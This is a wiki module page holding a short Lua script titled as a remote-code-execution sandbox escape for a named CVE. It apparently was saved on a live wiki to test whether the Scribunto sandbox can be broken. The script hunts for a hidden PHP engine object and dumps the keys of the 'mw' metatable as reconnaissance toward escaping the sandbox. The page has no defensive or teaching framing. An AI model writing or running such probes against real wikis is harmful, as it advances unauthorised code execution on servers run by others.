模块:RceEscape CVE202345363 1

来自希服维基

可在模块:RceEscape CVE202345363 1/doc创建此模块的帮助文档

local p = {}
function p.test()
    -- CVE-2023-45363: The vulnerability is in how Lua bytecode is loaded
    -- Try to access the Scribunto engine PHP object
    local engine = rawget(mw, '_engine') or rawget(mw, 'engine') or rawget(mw, '__engine')
    if engine then
        return "engine_found: " .. type(engine)
    end

    -- Try to access through metatables
    local mt = getmetatable(mw)
    if mt then
        local keys = {}
        for k, v in pairs(mt) do keys[#keys+1] = k end
        return "mw_metatable: " .. table.concat(keys, ", ")
    end
    return "no_engine_access"
end
return p